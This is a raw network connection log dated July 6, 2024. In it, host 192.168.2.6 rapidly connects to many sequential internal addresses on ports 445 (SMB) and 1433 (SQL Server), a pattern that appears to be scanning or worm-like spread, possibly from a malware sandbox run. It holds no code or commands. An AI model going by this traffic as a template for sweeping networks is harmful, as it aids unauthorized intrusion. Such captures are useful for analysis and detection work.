Jul 6, 2024 14:11:36.248832941 CEST	1433	52783	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.249196053 CEST	1433	52783	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.252255917 CEST	1433	52784	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.252258062 CEST	52764	445	192.168.2.6	192.168.3.170
Jul 6, 2024 14:11:36.252258062 CEST	52764	445	192.168.2.6	192.168.3.170
Jul 6, 2024 14:11:36.252258062 CEST	52766	445	192.168.2.6	192.168.3.171
Jul 6, 2024 14:11:36.252258062 CEST	52766	445	192.168.2.6	192.168.3.171
Jul 6, 2024 14:11:36.252258062 CEST	52771	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.252258062 CEST	52771	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.253051043 CEST	445	52785	192.168.3.174	192.168.2.6
Jul 6, 2024 14:11:36.253454924 CEST	445	52786	192.168.3.173	192.168.2.6
Jul 6, 2024 14:11:36.255512953 CEST	52791	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.255512953 CEST	52784	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.255512953 CEST	52784	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.257324934 CEST	1433	52775	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.257772923 CEST	1433	52777	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.258224964 CEST	52790	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.258224964 CEST	52785	445	192.168.2.6	192.168.3.174
Jul 6, 2024 14:11:36.258224964 CEST	52785	445	192.168.2.6	192.168.3.174
Jul 6, 2024 14:11:36.258224964 CEST	52786	445	192.168.2.6	192.168.3.173
Jul 6, 2024 14:11:36.258481026 CEST	445	52787	192.168.4.48	192.168.2.6
Jul 6, 2024 14:11:36.258486986 CEST	1433	52789	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.258763075 CEST	52796	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.260843039 CEST	1433	52791	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.260922909 CEST	1433	52770	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.263894081 CEST	1433	52796	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.265270948 CEST	52796	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.265270948 CEST	52796	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.265758038 CEST	52786	445	192.168.2.6	192.168.3.173
Jul 6, 2024 14:11:36.265758038 CEST	52793	445	192.168.2.6	192.168.3.175
Jul 6, 2024 14:11:36.266102076 CEST	52775	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.266102076 CEST	52777	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.266102076 CEST	52775	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.266102076 CEST	52777	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.266269922 CEST	1433	52790	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.266829014 CEST	52797	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.267165899 CEST	52792	445	192.168.2.6	192.168.3.176
Jul 6, 2024 14:11:36.267165899 CEST	52795	445	192.168.2.6	192.168.4.49
Jul 6, 2024 14:11:36.267165899 CEST	52787	445	192.168.2.6	192.168.4.48
Jul 6, 2024 14:11:36.267165899 CEST	52787	445	192.168.2.6	192.168.4.48
Jul 6, 2024 14:11:36.267165899 CEST	52789	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.267165899 CEST	52791	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.270678043 CEST	445	52785	192.168.3.174	192.168.2.6
Jul 6, 2024 14:11:36.270878077 CEST	445	52785	192.168.3.174	192.168.2.6
Jul 6, 2024 14:11:36.270931959 CEST	445	52786	192.168.3.173	192.168.2.6
Jul 6, 2024 14:11:36.270939112 CEST	445	52764	192.168.3.170	192.168.2.6
Jul 6, 2024 14:11:36.270947933 CEST	445	52766	192.168.3.171	192.168.2.6
Jul 6, 2024 14:11:36.270956039 CEST	1433	52771	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.271034002 CEST	52791	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.271248102 CEST	445	52786	192.168.3.173	192.168.2.6
Jul 6, 2024 14:11:36.271307945 CEST	445	52764	192.168.3.170	192.168.2.6
Jul 6, 2024 14:11:36.271317005 CEST	1433	52775	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.271325111 CEST	1433	52777	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.271332979 CEST	445	52766	192.168.3.171	192.168.2.6
Jul 6, 2024 14:11:36.271497011 CEST	1433	52771	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.271662951 CEST	1433	52775	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.271682978 CEST	445	52793	192.168.3.175	192.168.2.6
Jul 6, 2024 14:11:36.271692991 CEST	1433	52777	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.272118092 CEST	1433	52784	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.272419930 CEST	1433	52784	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.272432089 CEST	445	52792	192.168.3.176	192.168.2.6
Jul 6, 2024 14:11:36.272466898 CEST	445	52795	192.168.4.49	192.168.2.6
Jul 6, 2024 14:11:36.274277925 CEST	52792	445	192.168.2.6	192.168.3.176
Jul 6, 2024 14:11:36.274279118 CEST	52795	445	192.168.2.6	192.168.4.49
Jul 6, 2024 14:11:36.274442911 CEST	1433	52796	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.277194977 CEST	52790	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.277194977 CEST	52790	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.277981997 CEST	1433	52791	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.278029919 CEST	52796	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.278784990 CEST	445	52787	192.168.4.48	192.168.2.6
Jul 6, 2024 14:11:36.283720970 CEST	445	52787	192.168.4.48	192.168.2.6
Jul 6, 2024 14:11:36.283725023 CEST	1433	52789	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.284080982 CEST	52801	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.284212112 CEST	52802	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.284518003 CEST	1433	52791	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.284990072 CEST	52803	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.286864042 CEST	52789	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.286864042 CEST	52787	445	192.168.2.6	192.168.4.48
Jul 6, 2024 14:11:36.286864042 CEST	52789	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.286864042 CEST	52792	445	192.168.2.6	192.168.3.176
Jul 6, 2024 14:11:36.286864042 CEST	52795	445	192.168.2.6	192.168.4.49
Jul 6, 2024 14:11:36.287364960 CEST	52800	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.288378954 CEST	445	52792	192.168.3.176	192.168.2.6
Jul 6, 2024 14:11:36.288475037 CEST	445	52795	192.168.4.49	192.168.2.6
Jul 6, 2024 14:11:36.288888931 CEST	1433	52797	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.289088011 CEST	1433	52790	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.289225101 CEST	1433	52801	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.289233923 CEST	1433	52802	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.289273024 CEST	52801	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.289321899 CEST	52802	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.289321899 CEST	52801	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.289374113 CEST	52802	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.290165901 CEST	52792	445	192.168.2.6	192.168.3.176
Jul 6, 2024 14:11:36.290165901 CEST	52795	445	192.168.2.6	192.168.4.49
Jul 6, 2024 14:11:36.290178061 CEST	1433	52803	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.290200949 CEST	1433	52790	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.290348053 CEST	52803	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.290393114 CEST	52804	445	192.168.2.6	192.168.4.50
Jul 6, 2024 14:11:36.290393114 CEST	52806	445	192.168.2.6	192.168.3.177
Jul 6, 2024 14:11:36.290618896 CEST	52798	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.290618896 CEST	52799	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.290618896 CEST	52805	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.290632963 CEST	52803	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.292196989 CEST	1433	52800	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.293236971 CEST	52808	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.293421030 CEST	52793	445	192.168.2.6	192.168.3.175
Jul 6, 2024 14:11:36.293421030 CEST	52793	445	192.168.2.6	192.168.3.175
Jul 6, 2024 14:11:36.293735027 CEST	52797	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.293735981 CEST	52797	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.294167042 CEST	52811	445	192.168.2.6	192.168.4.51
Jul 6, 2024 14:11:36.294363022 CEST	1433	52801	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.294373989 CEST	1433	52802	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.294760942 CEST	1433	52801	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.294832945 CEST	1433	52802	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.295258045 CEST	1433	52789	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.295268059 CEST	445	52792	192.168.3.176	192.168.2.6
Jul 6, 2024 14:11:36.295279980 CEST	445	52795	192.168.4.49	192.168.2.6
Jul 6, 2024 14:11:36.295289040 CEST	445	52792	192.168.3.176	192.168.2.6
Jul 6, 2024 14:11:36.295598984 CEST	1433	52803	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.296124935 CEST	1433	52803	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.296255112 CEST	52800	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.296255112 CEST	52800	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.298269033 CEST	445	52804	192.168.4.50	192.168.2.6
Jul 6, 2024 14:11:36.298279047 CEST	445	52806	192.168.3.177	192.168.2.6
Jul 6, 2024 14:11:36.298289061 CEST	1433	52808	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.299597979 CEST	52812	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.299597979 CEST	52814	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.299597979 CEST	52804	445	192.168.2.6	192.168.4.50
Jul 6, 2024 14:11:36.299598932 CEST	52806	445	192.168.2.6	192.168.3.177
Jul 6, 2024 14:11:36.299598932 CEST	52808	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.299598932 CEST	52804	445	192.168.2.6	192.168.4.50
Jul 6, 2024 14:11:36.301112890 CEST	52810	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.301615953 CEST	52813	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.301616907 CEST	52803	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.301616907 CEST	52803	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.303605080 CEST	1433	52797	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.303615093 CEST	445	52811	192.168.4.51	192.168.2.6
Jul 6, 2024 14:11:36.303656101 CEST	1433	52800	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.303733110 CEST	52811	445	192.168.2.6	192.168.4.51
Jul 6, 2024 14:11:36.303782940 CEST	52811	445	192.168.2.6	192.168.4.51
Jul 6, 2024 14:11:36.304179907 CEST	1433	52797	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.304192066 CEST	445	52793	192.168.3.175	192.168.2.6
Jul 6, 2024 14:11:36.304256916 CEST	1433	52798	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.304389000 CEST	1433	52799	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.304521084 CEST	445	52793	192.168.3.175	192.168.2.6
Jul 6, 2024 14:11:36.304531097 CEST	1433	52812	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.304541111 CEST	1433	52814	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.304800034 CEST	1433	52800	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.305475950 CEST	1433	52805	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.306581020 CEST	52806	445	192.168.2.6	192.168.3.177
Jul 6, 2024 14:11:36.306581020 CEST	52808	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.306581974 CEST	52815	445	192.168.2.6	192.168.3.178
Jul 6, 2024 14:11:36.306581974 CEST	52816	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.306849003 CEST	1433	52813	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.306919098 CEST	52813	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.307954073 CEST	1433	52803	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.308250904 CEST	1433	52803	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.308682919 CEST	445	52811	192.168.4.51	192.168.2.6
Jul 6, 2024 14:11:36.310230017 CEST	52813	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.310632944 CEST	52798	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.310632944 CEST	52799	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.310632944 CEST	52798	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.310632944 CEST	52799	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.310633898 CEST	52805	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.311552048 CEST	445	52806	192.168.3.177	192.168.2.6
Jul 6, 2024 14:11:36.311561108 CEST	1433	52808	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.311701059 CEST	445	52804	192.168.4.50	192.168.2.6
Jul 6, 2024 14:11:36.311929941 CEST	1433	52810	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.312091112 CEST	1433	52808	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.315494061 CEST	52812	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.315494061 CEST	52814	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.315494061 CEST	52812	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.315494061 CEST	52814	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.315494061 CEST	52817	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.315494061 CEST	52804	445	192.168.2.6	192.168.4.50
Jul 6, 2024 14:11:36.315629959 CEST	1433	52813	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.317163944 CEST	52821	445	192.168.2.6	192.168.4.52
Jul 6, 2024 14:11:36.317163944 CEST	52822	1433	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:36.317424059 CEST	52805	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.317424059 CEST	52810	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.317424059 CEST	52810	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.318381071 CEST	52811	445	192.168.2.6	192.168.4.51
Jul 6, 2024 14:11:36.318381071 CEST	52819	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.318381071 CEST	52813	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.318959951 CEST	445	52815	192.168.3.178	192.168.2.6
Jul 6, 2024 14:11:36.318977118 CEST	1433	52798	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.319741964 CEST	52818	445	192.168.2.6	192.168.3.179
Jul 6, 2024 14:11:36.319741964 CEST	52820	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.319895029 CEST	1433	52799	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.320854902 CEST	1433	52816	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.320874929 CEST	1433	52813	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.321175098 CEST	52824	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.321290970 CEST	1433	52812	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.321338892 CEST	1433	52814	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.321779013 CEST	1433	52812	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.321788073 CEST	1433	52814	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.321795940 CEST	1433	52817	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.321873903 CEST	1433	52798	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.321882010 CEST	1433	52799	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.321999073 CEST	52815	445	192.168.2.6	192.168.3.178
Jul 6, 2024 14:11:36.321999073 CEST	52815	445	192.168.2.6	192.168.3.178
Jul 6, 2024 14:11:36.321999073 CEST	52816	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.321999073 CEST	52816	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.321999073 CEST	52812	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.323137999 CEST	1433	52805	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.324248075 CEST	1433	52819	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.324323893 CEST	52819	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.324379921 CEST	1433	52813	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.324835062 CEST	445	52818	192.168.3.179	192.168.2.6
Jul 6, 2024 14:11:36.325371981 CEST	445	52821	192.168.4.52	192.168.2.6
Jul 6, 2024 14:11:36.326997995 CEST	52814	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.326997995 CEST	52812	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.326997995 CEST	52817	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.326997995 CEST	52817	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.326997995 CEST	52827	445	192.168.2.6	192.168.4.53
Jul 6, 2024 14:11:36.327119112 CEST	1433	52822	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:36.328242064 CEST	1433	52805	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.328721046 CEST	445	52815	192.168.3.178	192.168.2.6
Jul 6, 2024 14:11:36.328731060 CEST	445	52815	192.168.3.178	192.168.2.6
Jul 6, 2024 14:11:36.328824997 CEST	52826	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.328824997 CEST	52825	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.328825951 CEST	52818	445	192.168.2.6	192.168.3.179
Jul 6, 2024 14:11:36.329348087 CEST	1433	52819	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.329435110 CEST	52819	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.329559088 CEST	52798	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.329559088 CEST	52798	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.329559088 CEST	52799	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.330229998 CEST	1433	52820	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.331902027 CEST	1433	52816	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.332015038 CEST	1433	52812	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.332024097 CEST	1433	52814	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.332032919 CEST	1433	52812	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.332158089 CEST	1433	52816	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.332386971 CEST	1433	52817	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.332571030 CEST	52821	445	192.168.2.6	192.168.4.52
Jul 6, 2024 14:11:36.332571030 CEST	52822	1433	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:36.332710981 CEST	1433	52810	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.333178997 CEST	1433	52817	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.335098982 CEST	1433	52824	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.335158110 CEST	52824	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.335870028 CEST	52820	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.336173058 CEST	1433	52798	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.336569071 CEST	1433	52798	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.337351084 CEST	445	52827	192.168.4.53	192.168.2.6
Jul 6, 2024 14:11:36.337727070 CEST	445	52821	192.168.4.52	192.168.2.6
Jul 6, 2024 14:11:36.337937117 CEST	1433	52799	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.338478088 CEST	1433	52826	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.338545084 CEST	1433	52825	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.338850021 CEST	52805	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.338850021 CEST	52810	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.340260029 CEST	445	52818	192.168.3.179	192.168.2.6
Jul 6, 2024 14:11:36.340269089 CEST	1433	52824	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.340687990 CEST	52824	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.345259905 CEST	52819	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.345319986 CEST	52819	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.345374107 CEST	1433	52822	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:36.345623016 CEST	52828	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.346267939 CEST	52817	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.346267939 CEST	52827	445	192.168.2.6	192.168.4.53
Jul 6, 2024 14:11:36.346267939 CEST	52821	445	192.168.2.6	192.168.4.52
Jul 6, 2024 14:11:36.346267939 CEST	52822	1433	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:36.347342968 CEST	52829	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.348149061 CEST	1433	52820	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.350331068 CEST	1433	52819	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.350353003 CEST	1433	52819	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.350368977 CEST	52831	445	192.168.2.6	192.168.3.180
Jul 6, 2024 14:11:36.350692987 CEST	1433	52828	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.350708961 CEST	52824	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.350744009 CEST	52828	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.350980043 CEST	52828	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.351644039 CEST	1433	52817	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.352613926 CEST	1433	52829	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.352678061 CEST	52829	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.352730989 CEST	52829	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.353421926 CEST	52826	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.353421926 CEST	52825	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.353423119 CEST	52818	445	192.168.2.6	192.168.3.179
Jul 6, 2024 14:11:36.353423119 CEST	52818	445	192.168.2.6	192.168.3.179
Jul 6, 2024 14:11:36.354724884 CEST	52836	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.355451107 CEST	52834	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.355479002 CEST	445	52831	192.168.3.180	192.168.2.6
Jul 6, 2024 14:11:36.355822086 CEST	1433	52824	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.355865002 CEST	1433	52828	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.355921984 CEST	52831	445	192.168.2.6	192.168.3.180
Jul 6, 2024 14:11:36.356066942 CEST	1433	52828	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.357505083 CEST	1433	52829	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.357635975 CEST	1433	52829	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.359250069 CEST	52821	445	192.168.2.6	192.168.4.52
Jul 6, 2024 14:11:36.359250069 CEST	52822	1433	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:36.359250069 CEST	52817	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.359250069 CEST	52830	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.359250069 CEST	52827	445	192.168.2.6	192.168.4.53
Jul 6, 2024 14:11:36.361154079 CEST	1433	52834	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.361318111 CEST	52835	1433	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:36.362137079 CEST	445	52831	192.168.3.180	192.168.2.6
Jul 6, 2024 14:11:36.362204075 CEST	52834	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.362848043 CEST	1433	52836	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.362869024 CEST	52831	445	192.168.2.6	192.168.3.180
Jul 6, 2024 14:11:36.363281012 CEST	445	52827	192.168.4.53	192.168.2.6
Jul 6, 2024 14:11:36.364058018 CEST	52826	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.364058018 CEST	52825	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.364058018 CEST	52820	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.364058018 CEST	52820	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.364581108 CEST	445	52821	192.168.4.52	192.168.2.6
Jul 6, 2024 14:11:36.364590883 CEST	1433	52822	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:36.364599943 CEST	1433	52817	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.364619017 CEST	1433	52830	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.364629984 CEST	445	52827	192.168.4.53	192.168.2.6
Jul 6, 2024 14:11:36.365266085 CEST	1433	52826	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.365789890 CEST	1433	52825	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.365843058 CEST	52827	445	192.168.2.6	192.168.4.53
Jul 6, 2024 14:11:36.365843058 CEST	52830	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.366297960 CEST	1433	52835	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:36.366777897 CEST	52835	1433	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:36.367269039 CEST	445	52818	192.168.3.179	192.168.2.6
Jul 6, 2024 14:11:36.367434978 CEST	1433	52834	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.368942976 CEST	1433	52826	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.368952036 CEST	1433	52825	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.369023085 CEST	52834	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.369354963 CEST	1433	52820	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.372951031 CEST	52826	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.372951031 CEST	52825	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.373258114 CEST	52831	445	192.168.2.6	192.168.3.180
Jul 6, 2024 14:11:36.374629974 CEST	52836	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.378842115 CEST	1433	52826	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.379638910 CEST	445	52831	192.168.3.180	192.168.2.6
Jul 6, 2024 14:11:36.384212971 CEST	1433	52836	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.386432886 CEST	52837	1433	192.168.2.6	192.168.0.30
